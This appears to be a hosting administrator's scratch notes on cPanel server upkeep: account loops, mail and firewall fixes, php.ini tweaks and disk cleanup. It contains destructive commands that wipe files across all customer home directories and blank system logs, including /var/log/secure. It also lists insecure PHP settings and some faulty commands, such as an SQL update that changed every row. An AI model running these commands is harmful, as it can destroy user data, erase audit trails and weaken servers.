*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
My test
for user in `cat /tmp/users`
do
/scripts/restorepkg $user && echo restored package account done for $user >> finalpkgaccount.txt
done ;
for user in `cat rellerowner`
do
echo Change Directorey to $user
find /home/$user -maxdepth 2 -type d -name ".log" -exec ls -ld {} \;
done ;
pasiones
#grep "OWNER=pasiones" -r /var/cpanel/users
Exact account under the reseller account
#grep "OWNER=pasiones" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
for user in `grep "OWNER=datahost" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5`
do
echo Upadate stat for user $user
/scripts/runweblogs $user
echo status updated for user $user >> stausupdated
done ;
Disk use test
for user in `cat check`; do du -sh $user 2> /dev/null ; done ;
for i in `cat help`; do ls -lh $i ; done ;
cat help | cut -d . -f 2 | sort | uniq -c
cat help1 | grep flv | xargs -du -h {}
cat help | grep .exe | xargs du -h {}
*********************************************************************************************************************
Mail check from shell
mail -f /var/spool/mail/conceho
mail -u username
****************************************************************************************************************
testing
for i in `cat test`; do egrep '^OWNER=|DNS=' /var/cpanel/users/$i ; echo ; done ;
for i in `cat test`; do grep $i /etc/trueuserdomains | cut -d : -f 2 | egrep '^OWNER|DNS=' /var/cpanel/users/$(xargs) 2> /tmp/err; echo ; done ;
for i in `cat test`; do grep $i /etc/trueuserdomains | cut -d : -f 2 | egrep '^OWNER|DNS=' /var/cpanel/users/$(xargs) >> /var/log/filecheck ; echo ; done ;
for user in `/bin/ls -A /var/cpanel/users` ; do rm -fv /home/$user/backup-*$user.tar.gz ; done
*****
http://www.thecpaneladmin.com/fix-account-permissions/
Change permission to default:
Why not use this ^_^
find /home/*/public_html/* -type f -exec chmod 644 {} \;
find /home/*/public_html/* -type d -exec chmod 755 {} \;
we can specify user by replace * with usename
and we can use this to make chown for all websites
for i in `ls /var/cpanel/users` ; do chown -R $i.$i /home/$i/public_html/* ; done
echo "Setting ownership for user $user"
chown -R $user:$user $HOMEDIR
chmod 711 $HOMEDIR
chown $user:nobody $HOMEDIR/public_html $HOMEDIR/.htpasswds
chown $user:mail $HOMEDIR/etc $HOMEDIR/etc/*/shadow $HOMEDIR/etc/*/passwd
chown -v xcltechn:mail etc etc/*/shadow etc/*/passwd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Message:
The operation failed.
The mail server responded to Ricaricacel:
[TRYCREATE] Mailbox does not exist: INBOX.Sent
To create .Sent
cd /home/username/mail/domainname.com
find . -type d -name ".Sent"
find . -type d -maxdepth 1 -exec mkdir -v {}/.Sent \;
find . -type d -name ".Sent" -exec chown username.ricarica -v {} \;
tail -f /usr/local/cpanel/logs/* /usr/local/apache/logs/* /var/log/* /var/log/exim_mainlog | egrep 'bikampus|enisvoip@gmail.com'
tail -f /usr/local/cpanel/logs/*_log /usr/local/apache/logs/*_log
####################################################################################################################################################################################################################################
root@trinity [/tmp]# cat /usr/local/ddos/croncheck
#########################################################
# #
# Script to Check Crond Service on the serve #
# BY #
# APSC InfoTech & Software Solutions Pvt Ltd #
# #
# #
#########################################################
# Do not modifiy any code from here
# Checking status of crond here
STATS=$(/etc/init.d/crond status |grep running|wc -l)
if [ $STATS -eq 0 ]
then
/etc/init.d/crond restart
printf '\E[31m'"\033[1m\nCrond service was stopped on server and was restarted when you logged in,
This incident and your computer name is logged and mailed to APS Admin\n\033[0m\n\033[0m"
fi
# THE END
# Copywrite (C) 2007 APSC InfoTech & Software Solutions Pvt Ltd.
# Report bugs to <anand@apsinfotech.com>
################################################################################################################
root@trinity [/tmp]# cat /usr/local/ddos/hostchecker
#########################################################
# #
# Script to Check Hosts.allow and hosts.deny #
# BY #
# APSC InfoTech & Software Solutions Pvt Ltd #
# #
# #
#########################################################
#########################################################
# This script will mail you if hosts.deny and hosts.allow are modified
# This script will check these files are modified or not every 5 mins
# If the files are modified it will mail you specifying so with content of the files
# Cron Details: */5 * * * * path to script
# Do not modifiy any code from here
# Taking Hosting Name
SERVER=$(/bin/hostname)
# Taking values of modification
ALLOW=$(/usr/bin/find /etc/ -mmin -5 -name hosts.allow|wc -l)
DENY=$(/usr/bin/find /etc/ -mmin -5 -name hosts.deny|wc -l)
# Checking if hosts.allow was modified or not
if [ $ALLOW -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.allow was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.allow is now:
$(/bin/cat /etc/hosts.allow)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.allow file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
if [ $DENY -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.deny was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.deny is now:
$(/bin/cat /etc/hosts.deny)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.deny file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
# THE END
# Copywrite (C) 2007 APSC InfoTech & Software Solutions Pvt Ltd.
# Report bugs to <anand@apsinfotech.com>
#----------------------------------------------------------------------------------------
# This script belongs to APSC InfoTech and Software Solutions Pvt Ltd.
# This script cannot be used or modified or distrubuted without permission of APSC InfoTech.
# For any of such things done will considered as violation of company rules
# and appropriate legal action will be take
#########################################################
#########################################################
root@trinity [/tmp]# cat /usr/local/ddos/kernelup
#!/bin/bash
#Taking hostname below
HOST=$(/bin/hostname)
#upgrading Kernel
/usr/bin/yum upgrade kernel -y
# checking latest installed kernel on server
LATEST=$(/bin/rpm -q kernel |tail -n1|sed -e 's/kernel-//')
# Checking currently used or running kernel on server
CURRENT=$(/bin/uname -r)
# Checking here if latest kernel present on server and currently running kernel on server is same
if [ $LATEST == $CURRENT ]
then
echo ""
else
printf "
Hello,
Latest kernel [ $LATEST ] is installed on server $HOST.
Currently Server is running old Kernel of version [ $CURRENT ].
To set latest kernel as current kernel, server $HOST should be rebooted.
Please schedule a reboot for server $HOST soon.
Thanks,
Support Team
APSC Infotech & Software Solutions Pvt Ltd.
--------------------------------------------------------
This is output of script created by APSC InfoTech & Software Solutions Pvt Ltd for their clients.
The use of this script should be done with permission of APSC InfoTech & Software Solutions Pvt Ltd.
Copywrite (c) 2007-2010 apsinfotech.com, Report Bugs to admin@apsinfotech.com
--------------------------------------------------------
" | mail -s "New Kernel Installed on $HOST" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
# THE END
# Copywrite (c) 2007-2010 apsinfotech.com
# This script created by APSC InfoTech & Software Solutions Pvt Ltd for their clients.
# The use of this script should be done with permission of APSC InfoTech & Software Solutions Pvt Ltd.
# Copywrite (c) 2007-2010 apsinfotech.com, Report Bugs to admin@apsinfotech.com
root@trinity [/tmp]#
SiteURl check
# mysql
mysql> use DBNAME;
SELECT *
FROM `almarosa_wrdp1`.`wp_options`
WHERE (
CONVERT( `option_id`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `blog_id`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `option_name`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `option_value`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `autoload`
USING utf8 ) LIKE '%siteurl%'
)
LIMIT 0 , 30
mysql> update wp_options set option_value ='http://almarosamusic.net/v2'; where option_id = 1;
Query OK, 179 rows affected (0.00 sec)
Rows matched: 179 Changed: 179 Warnings: 0
mysql>
SELECT * FROM `almarosa_wrdp1`.`wp_options` WHERE ( CONVERT( `option_id` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `blog_id` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `option_name` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `option_value` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `autoload` USING utf8 ) LIKE '%siteurl%' ) LIMIT 0 , 30;
+-----------+---------+-------------+-----------------------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+-----------------------------+----------+
| 1 | 0 | siteurl | http://almarosamusic.net/v2 | yes |
+-----------+---------+-------------+-----------------------------+----------+
1 row in set (0.00 sec)
####################################################################################################################
============================================================================
http://erikimh.com/notepad/
Linux Cms need to know:
http://webtools.live2support.com/linux/cp.php
http://www.computerhope.com/unixtop1.htm
Check fully dns details:
http://www.robtex.com/dns/google.com.html#graph
http://www.robtex.com/
http://docs.cpanel.net/twiki/pub/AllDocumentation/ReleaseNotes/1125releasenotes.pdf
http://docs.cpanel.net/twiki/pub/AllDocumentation/ReleaseNotes/1125releasenotes.pdf
http://forums.cpanel.net/
http://www.w3schools.com
http://www.thecpaneladmin.com/wp-content/plugins/downloads-manager/upload/cpanelcheatsheet1125.pdf
Dedy Country:
http://www.countryipblocks.net/country-blocks/select-formats/
puppet
https://www.linux.com/learn/tutorials/325201-introduction-to-puppet-streamlined-system-configuration
http://linuxappfinder.com/package/puppet
http://puppetlabs.com/
cat .htaccess
Options -Indexes
/scripts/upcp logs
cPanel update logs are stored in the following directory path:
/var/cpanel/updatelogs/
Display routing table :
# netstat -rn
#!/usr/bin/perl -I/usr/local/bandmin
=> normal message delivery
<= message arrival
Completely remove or disable cpanellogd
http://supernetech.com/blog/?p=39
======================================================================================================================================
xargs -I{} kill {}
rsync -arvn (dry run first, n)
rsync -arv /backup/cpbackup/daily/igdfsslr/homedir/public_html/automatic-seo-system.com/* .
rsync [OPTION]... SRC [SRC]... DEST
-v, --verbose
-a, --archive archive mode; equals -rlptgoD (no -H,-A,-X)
-r, --recursive
-h, --human-readable output numbers in a human-readable format
--progress show progress during transfer
-P same as --partial --progress
--list-only
--stats give some file-transfer stats
--ignore-existing skip updating files that already exist on receiver
-n, --dry-run perform a trial run with no changes made
-u, --update skip files that are newer on the receiver
--inplace update destination files in-place (SEE MAN PAGE)
--append append data onto shorter files
--append-verify like --append, but with old data in file checksum
rsync -arv /backup/cpbackup/daily/dropship/homedir/public_html/wp-content/themes .
rsync -arP /backup/cpbackup/daily/dropship/homedir/public_html/wp-content/themes .
rsync -vrplogDtH /olddrive/home/* /home
include/exclude patterns to copy just certain files?
http://lists.samba.org/archive/rsync/2004-July/009975.html
http://credentiality2.blogspot.in/2011/02/using-rsync-to-copy-only-certain.html
https://calomel.org/rsync_tips.html
http://abbeyworkshop.com/howto/unix/nix_rsync/index.html
Testing (-n, --dry-run )
rsync -a -n --include='*.php' --exclude='*' /backup/cpbackup/daily/dropship/homedir/public_html/
Final cmd
rsync -a --include='*.php' --exclude='*' /backup/cpbackup/daily/dropship/homedir/public_html/ .
And
Testing (-n, --dry-run )
rsync -avr -n --include='*.php' /backup/cpbackup/daily/dropship/homedir/public_html/
Final cmd
rsync -avr --include='*.php' /backup/cpbackup/daily/dropship/homedir/public_html/ .
======================================================================================================================================
In php.ini the integere value means
Off = 0
On = 1
safe_mode = Off
output_buffering =On
memory_limit = 64M
allow_url_fopen = On
allow_url_include=On
upload_max_filesize = 20M
post_max_size = 20M
<<<
reset ssh port through WHM
Login to your WHM using 2086
And then browse the below URL:
http://serverip:2086/scripts2/doautofixer?autofix=safesshrestart
It will prompt for server password insert it and it will show that port is reset to default(22)
SetEnv PHPRC “/home/username/public_html”
suPHP_ConfigPath /home/user/public_html/php.ini
SetEnv PHPRC /home/apekadec/public_html/php.ini
suPHP_ConfigPath /home/apekadec/public_html/php.ini
zend_extension="/usr/local/IonCube/ioncube_loader_lin_5.2.so"
flush your cache
#rndc flush
fixwebalizer
runweblogs
/usr/local/cpanel/3rdparty/bin/webalizer_lang/
List compiled modules with the PHP CLI
Passing the -m flag to the PHP CLI will show a list of the compiled in modules:
php -m
==>> We have null routed the IP
Your server is receiving a lot of connections from different IPs
Joseph: We are unable to tell which ones are real connections(people viewing your sites) or bad ones(attackers).
Joseph: To protect the server we move all connections to a box that drops them. Which means that they never reach the server.
Basically point the connections to null at the router which discards all the connections to your server.
Please generate a tracert report from the IP address from which you are getting an issue to access the k3kw.com domain name. Go through the following steps to take a tracert report
1. Open the command window by clicking START, then RUN. Type CMD, and hit Enter or click OK.
2. Type "tracert" in the Command Window.
3. Hit the space bar once.
4. Type : tracert k3kw.com
5. Hit "Enter."
Add the ip in servers firewall and check the tracert
tracert 212.174.54.232
cat .htaccess
<FilesMatch "\.(htm|html|php)$">
SetHandler application/x-httpd-php5
</FilesMatch>
-----------------------------------------------------
AddDefaultCharset ISO-8859-1
<FilesMatch "\.(htm|html|php)$">
SetHandler application/x-httpd-php5
</FilesMatch>
RewriteEngine on
RewriteBase /
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.html -f
RewriteRule ^(.*)$ $1.html
AddDefaultCharset UTF-8
-----------------------------------------------------
mayank: supersite address
mayank: domain.cybermatics.in
mayank: partner site adddress
mayank: reseller.cybermatics.in
JOOMLA PHP.INI
safe_mode = Off
display_errors=Off
register_globals=Off
memory_limit = 64M
magic_quotes_gpc = Off
cp php.ini administrator/
Check JOOMLA VERSION
find -iname version.php | xargs cat | grep '$RELEASE'
Ot
./libraries/joomla/version.php
./libraries/cms/version/version.php
=====================================================
Common changes on php.ini file
=====================================================
display_startup_errors = Off
display_errors=Off
safe_mode = Off
post_max_size = 10M
upload_max_filesize = 10M
enable_dl = Off
allow_url_fopen = On
memory_limit = 64M
register_globals=Off
magic_quotes_gpc = Off
disable_functions =
=====================================================
=====================================================
sub domain path in plesk, windows server:
C:\Inetpub\vhosts\mgzsoft.com\subdomains\lcmgz\httpdocs
Webconfig file "check to correct some error"
Please check and found that your website is working fine at our end. Please check your firewall setting and clear your browser cache and flush dns and check again and you can even try to access your website from another web browser.
Start >> Run >> Cmd >> ipconfig /flushdns
And
You can check your website from the link:
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.jlastimosa.com/
If still you are not able to access your website then update us with the whole output of tracert command for further assistance.
Start >> Run >> Cmd >> tracert jlastimosa.com
it might be your ISP issue, please check it with your ISP or try to reset the router at your end so that your connection will be reset.
On your local machine, open a command prompt.
Within the prompt, type ipconfig /flushdns
*********************
.htaccess should have the line
php_value include_path ".:/path/to/php/PEAR"
include_path = ".:/usr/lib/php:/usr/local/lib/php:/home/user/pear";
include_path = ".:/usr/bin/pear:/usr/local/bin/pear:/usr/local/lib/php/";
php_value include_path ":/usr/local/bin/pear"
include_path = ".:/usr/lib/php:/usr/local/lib/php:/home/aysunzuc/pear";
You can change the nameservers for your domain from your Client Area.
You can login to your Client Area via the link: http://dollar2host.com/clients/clientarea.php
Login to your >> Client Area >> Click on "My Domains" Menu > Select the domain for which youe wish to change the nameserevers >> Then click on Green log on the left side of your domain >> Edit the nameservers >> then click on "save changes" button
You can change the user names of the accounts under your WHM. Please login to your WHM and list accounts and you can see edit option under user names. Just click, edit the user name and save.
*********************************************************************************************************************
Responsible for validating the integrity of cPanel-managed RPMs and their corresponding files.
This script detects if there are any RPMs that have been unexpectedly altered.
/scripts/check_cpanel_rpms --fix
/usr/local/cpanel/check_cpanel_rpms --fix
/scripts/makecpphp
/scripts/upcp
/scripts/upcp --force
tail -f /var/cpanel/updatelogs/update.1360207397.log
yum update
/scripts/rebuildhttpdconf
tail -f /usr/local/cpanel/logs/error_log
vi /etc/cpupdate.conf
*********************************************************************************************************************
Email Accounts size showing 0
/scripts/generate_maildirsize --confirm --verbose username
/scripts/generate_maildirsize --confirm --allaccounts --verbose $USER
http://forums.cpanel.net/f43/e-mail-usage-seems-show-incorrectly-cpanel-252262.html
removing resources
ipcs -s | grep nobody | perl -e 'while (<STDIN>) {@a=split(/\s+/); print `ipcrm sem $a[1]`}'
========================================================================
ipcs -s | grep nobody | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}'
===================
fuser 80/tcp
and kill the process
apachectl start
httpd -t
service httpd configtest
netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
pdo sqlite
php --ri pdo_sqlite
/usr/local/bin/php --ri pdo_sqlite
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
mail sending problem
ERROR
======
T=remote_smtp defer (-53): retry time not reached for any host
=================================================
LINK:
=======
http://forums.cpanel.net/f43/t-remote_smtp-defer-53-retry-time-not-reached-any-host-72383.html
SOLUTION:
==========
This can be caused by multiple things, however if it happens for each email, it's likely your exim databases are corrupt; to resolve this you should:
/usr/sbin/exim_tidydb -t 1d /var/spool/exim retry > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim reject > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim wait-remote_smtp > /dev/null
/scripts/courierup -- force
/scripts/eximup --force
============================
If you did that, yet the problem persists, you can either seek professional help, or contact the cPanel support.
Files location in windows
C:\Inetpub\vhosts\tiocsap.com\httpdocs
IF client is not able to access the website via temporary URL:
Main >> Security Center >> Apache mod_userdir Tweak
.htaccess
ErrorDocument 404 /404.php
*********************************************************************************************************************
*********************************************************************************************************************
Mysql Socket in tmp folder command
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
*************************
*********************************************************************************************************************
*********************************************************************************************************************
Disk Space
find /home -type f -size +10M -iname "*.zip" -o -iname "*.tar" -o -iname "*.gz" -exec du -sh {} 2>&1 /tmp/diskspace \; -print
find /home -type f -size +10M -iname "*.zip" -iname "*.tar" -iname "*.gz"
find /home -type f -size +10M -iname "*.zip" -o -iname "*.tar" -o -iname "*.gz"
find /home/*/public_html/ -size +10M
find /home/[^a-w]*/public_html/ -size +10M
/home/tcmline1/public_html/ankarado.com/cache/page
find -iname "*.jpa"
find /home/*/public_html/administrator/components/ -iname "*.jpa"
find /home/*/public_html/administrator/components/ -iname "*.jpa" -exec rm -rfv {} \; -print
find -iname "*.jpa" -exec rm -rfv {} \;
administrator/components
locate "*.jpa" | xargs rm -rfv {}
/administrator/components/com_akeeba/assets/installers/abi.jpa
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \;
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \; | sort -n | grep -v K
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \; | sort -n | grep -v K
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \;
find /home/*/mail/ -type d -name ".Sent" -exec du -sh {} \;
find /home/*/public_html -type f -name error_log -exec du -sh {} \;
http://www.unix.com/shell-programming-scripting/13857-cp-all-but-some-files-paramater-cp-command.html
find . \( -name CVS -prune \) -o -type f ! -name .project ! -name project.index -print | xargs -I {} cp -rp {} /somewhere/else
Go to /tmp and then fire
cd /tmp
rm -rfv /home/*/fantastico_backups
rm -fv /home/*/tmp/Cpanel_*
yum clean all
locate .pureftpd-upload | xargs rm -fv
sh /bin/deldom
cd /bin
./deldom
find . -name 'backup-*.tar.gz' -exec rm -vf {} \;
find /home/*/public_html -name 'core.[0-9]*' -exec rm -vf {} \;
cd /tmp
rm -rfv /home/*/public_html/*/core.[1-9]*
rm -rfv /home/*/*.tar
rm -rfv /home/*/*tar.gz
cd /var/spool/exim/msglog/
rm -rfv *
/scripts/restartsrv exim
du -sh msglog/
http://content.hccfl.edu/pollock/unix/findcmd.htm
http://www.linux.ie/newusers/beginners-linux-guide/find.php
http://www.grymoire.com/Unix/Find.html#uh-2
root@nano [~]# find /home -type f -size +50000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
find /home -type f -size +50000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' | awk '{print "rm -rfv $9" }'
find /home/estudiog/public_html -type f -size +50000k -exec ls -lh {} \; | awk '{ print "rm -rfv "$9 }' | sh
find /home/ -name *.dat
find /home/ -name core.*
find /home -name "*" -size +100000k
find -type f -size +10M -exec rm -rf {} \; -print
du -sh /usr/local/apache/domlogs/
find -name "*" -size +5000k -exec mv "{}" /home/whwteam/delete \;
find -name "*" -size +1000k -exec mv "{}" /home/whwteam/delete \;f
find -name "*" -size +20M | xargs du -sh
find -name "*" -size +20M | xargs du -sh | sort -n
find -name "*" -size +200M -ok echo > {} \; -print
find -name "*" -size +200M -exec du -sh {} \; -print
find . -type d -exec chmod 755 {} \;
find <parent directory> -type d -exec cp <parent directory>/<Filename1> {}/ \;
find . -type d -exec cp ./php.ini {}/ \;
find . -type d -exec cp -p php.ini {} \; -print
find . -name *.mp3 -exec rm -f ./*.mp3 {}/ \;
echo > /usr/local/apache/logs/error_log
echo > /usr/local/apache/logs/access_log
echo > /usr/local/apache/logs/suphp_log
echo > /var/log/exim_mainlog
echo > /var/log/exim_rejectlog
echo > /var/log/maillog
echo > /var/log/messages
echo > /var/log/messages.1
echo > /var/log/maillog.1
echo > /usr/local/cpanel/logs/access_log
echo > /usr/local/cpanel/logs/error_log
cd /usr/local/apache/htdocs/
ll /home/*/backup*
rm -rfv /home/*/backup*
ll /home/*/public_html/backup*
rm -rfv /home/*/public_html/backup*
df -h
du -sh /usr/local/apache/domlogs/
cd /usr/local/apache/htdocs/
du -sh /var/log/
du -sh /usr/local/cpanel/logs/
rm -rfv /home/*/public_html/*.zip
rm -rfv /home/*/public_html/*.rar
rm -rfv /home/*/public_html/*.tar
rm -rfv /home/*/public_html/*.tar.gz
rm -rfv /home/*/public_html/*.gz
rm -rfv /home/*/public_html/error_*
/home/*/public_html/error_log
rm -rfv /home/*/public_html/*.wmv
rm -rfv /home/*/public_html/*.exe
cd /tmp
rm -fv /home/*/public_html/*/core.[1-9]*
rm -fv /home/*/public_html/core.[1-9]*
rm -rfv /home/*/public_html/*/error_*
rm -rfv /home/*/public_html/*/*.zip
rm -rfv /home/*/public_html/*/*.rar
rm -rfv /home/*/public_html/*/*.exe
rm -rfv /home/*/public_html/*/*.tar
rm -rfv /home/*/public_html/*/*.gz
rm -rfv /home/*/public_html/*/core.[1-9]*
ls -lh /home/*/*.tar.gz
rm -fv /home/*/*.tar.gz
ls -lh /home/*.tar.gz
rm -fv /home/*.tar.gz
ls -lh /home/[^w]*/*.tar.gz
ls -lh /home/*/*.tar.gz
ls -lh /home/*/*.rar
ls -lh /home/*/*.tar
ls -lh /home/*/public_html/backup*
ls -lh /home/*/public_html/*.zip
rm -rfv /home/*/public_html/*.zip
rm -rfv /home/*/public_html/*.rar
rm -rfv /home/*/public_html/*.tar
rm -rfv /home/*/public_html/*.gz
rm -rfv /home/*/public_html/error_l*
df -h
rm -rfv /home/*/public_html/*/error_l*
w
ll /home/*/public_html/*/*.zip
find . -name 'core.[0-9]*' -exec rm -rv {} \;
find . -name 'backup-*.tar.gz' -exec rm -vf {} \;
find . -name 'error_log' |awk '{print "echo > " $1}' > /home/testlist
find . -name '*.zip' -exec rm -vf {} \;
find . -name '*.3gp' -exec rm -vf {} \;
find . -name '*.avi' -exec rm -vf {} \;
cd mail
find -name "*" -size +4000k -exec mv "{}" /home/whwteam/delete
\;
du -chs *
**************************************************
find /home -name "*" -size +100000k
find /home -name "*.zip*"
find /home -name "*.zip*" -exec ls -lh {} \;
find /home -name "*.zip*" -exec ls -lh {} \; >> test_diskusage
find /home -name "*.tar.gz*"
****************************************************
to find and delete all files like .rar, .mp3, avi, mpeg fire this command and after that files gets stored in /home/delete of the server.
find /home/*/public_html/ -iname '*.rar' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.mp3' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.mpeg' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.avi' -exec mv "{}" /home/delete \;
find /home -name "*" -size +100000k
find */public_html/* -name .pure*
find /home/*/public_html/ -iname '*.pure' -exec mv "{}" /home/delete \;
? - Matches any single character.
* - Matches multiple characters.
[] - Matches any single character in the bracket.
#find . -name *[Aai]dm?n
Check the steps to free the disk space
==================================
How to free disk space?
1. SSh to server and run following command
cd /bin
./deldom
2. cd /usr/local/apache/logs
echo access logs, error logs, suexec logs, suphp logs
3
cd /var/log
echo > /var/log/btmp
echo > /var/log/chkservd.log
echo > /var/log/cron
echo > /var/log/cron.1
echo > /var/log/cron.2
echo > /var/log/cron.3
echo > /var/log/cron.4
echo > /var/log/exim_mainlog
echo > /var/log/exim_paniclog
echo > /var/log/exim_rejectlog
echo > /var/log/maillog
echo > /var/log/maillog.1
echo > /var/log/maillog.2
echo > /var/log/maillog.3
echo > /var/log/maillog.4
echo > /var/log/messages
echo > /var/log/messages.1
echo > /var/log/messages.2
echo > /var/log/messages.3
echo > /var/log/messages.4
echo > /var/log/secure
echo > /var/log/secure.1
echo > /var/log/secure.2
echo > /var/log/secure.3
echo > /var/log/secure.4
echo > /usr/local/cpanel/logs/access_log
echo > /usr/local/cpanel/logs/error_log
cd /usr/local/apache/logs
echo > access_log
echo > error_log
echo > suexec_log
echo > suphp_log
ls -lh /var/lib/mysql/$(hostname).err
echo > /var/lib/mysql/$(hostname).err
echo that file
5. cd /home
ll | grep backup
ll | grep cpomove
Remove the backup files
6. Login to server via WHM
chcek for the disk usage and list the high usage accounts. Check for the account plan if small check for tar, zip files in account and remove them
place an note in account with the size of files removed.
*********************************************************************************************************************
*********************************************************************************************************************
********************************************************************************************************************
Commands:
tail -f /usr/local/apache/log/access_log
It will display access logs.
tail -f /usr/local/apache/log/error_log
It will display error logs.
df -h
It will display disk space.
ping domainname
To see whether ressolve in our server.
cd /var/lib/mysql/
ll | grep username
It will Display database.
w
servers details eg:Load
csf -a ipaddress
To check whether ip is block in our firewalls
delete a ip form csf
csf -d IP
Grep: Read csf.conf, csf.allow and csf.deny file
csf -g 127.0.0.1
block ip range
csf -d 178.148.0.0/15
csf -a 66.249.71.00/24
remove Blocks for Ip range
csf -dr 66.249.71.00/24
cp /usr/local/lib/php.ini .
ll
chown -R sanomeu.sanomeu php.ini
vi php.ini
vi phpinfo.php
vi index.htm
clamscan *
To scan all the files
pwd
It will display path
chown -R natureye.natureye .htaccess
cd ../
To move to previous directory
du -csh *
Displays disk space usage
/scripts/runweblogs username
Use to update the statistics for weblizer
php -v
displays version fo php
chmod 755 mail
Used to change the permission of mail folder
/etc/init.d/exim restart
Used to restart exim
/etc/init.d/courier-imap restart
Used to restart imap services.
/etc/init.d/courier-authlib restart
If email account password are not working then restart this services.
/scripts/restartsrv_cppop
To restart pop services
csf -f
Used to flush firewalls
MySql:
cd /var/lib/mysql -> Path of my Sql databases
ll | grep username
chmod 700 databasename
If Mysql error.
Warning: fsockopen() [function.fsockopen]: unable to connect to localhost:143
/scripts/restartsrv_cppop
/scripts/courierup --force
to install imap services.
Restore backup
cd /backup
ll
cd cpbackup/
ll
cd daily
ll | grep username
then login to WHM>>backup restore option>>search username>>select last 3 options
----------------------------------------------------------------------
Message not receiving by the client?
cat /etc/localdomains | grep domainname
cat /etc/trueuserdomains | grep doaminname
cat /etc/userdomains | grep donainname
exim -bpc ->mails in queue
rm -rf /var/spool/exim/input
on other server run this commands:
exim -bpc
exim -bp
exiqgrep -z -i | xargs exim -Mrm
rm -rf /var/spool/exim/input
exim -bP exim_user
root@chief [~]# exim -bP exim_user
exim_user = mailnull
-----------------------------------------------------
usefull configuration varilables in exim
exim -bP
daemon_smtp_ports = 25 : 26 : 465 : 587
message_size_limit = 50M
smtp_accept_max = 100
smtp_accept_max_per_connection = 1000
smtp_accept_queue_per_connection = 10
spool_directory = /var/spool/exim
-----------------------------------------------------
ps -auxf
mysqladmin ur
mail services restart
/etc/init.d/exim restart
To restart cpanel:
/etc/init.d/cpanel restart
To check the disk space:
du -csh *
cd /etc/init.d
ll
We will get the list of the services
/etc/init.d/httpd (start/stop/restart)
to restart services on the server.
chown username.username templates/ -R
If client not able to give permissions
500 internal server error
tail -f /usr/local/apache/log/error_log |grep username
In this find the error.
rm -rf *
deleted files of specific folder.
Forbiden error
chmod 755 username ->in home directory
To start mailman service
/usr/local/cpanel/3rdparty/mailman/bin/mailmanctl restart
If mailman list not working?
/scripts/fixmailman
# service crond restart
Used to restart cronjob services on server
*********************************************************************************************************************
Convert Tables ENGINE from Innodb to MyISAM or Vice Versa
<?php
// connect your database here first
mysql_connect('host', 'user', 'pass');
$databases = mysql_query('SHOW databases');
while($db = mysql_fetch_array($databases)) {
echo "database => {$db[0]}\n";
mysql_select_db($db[0]);
$tables = mysql_query('SHOW tables');
while($tbl = mysql_fetch_array($tables)) {
echo "table => {$tbl[0]}\n";
mysql_query("ALTER TABLE {$tbl[0]} ENGINE=MyISAM");
}
}
Q:how to repair database on shell
Ans:-
mysqlcheck -r db_name
# mysqlcheck -r -o startrek_fan (Where startrek_fan is database name)
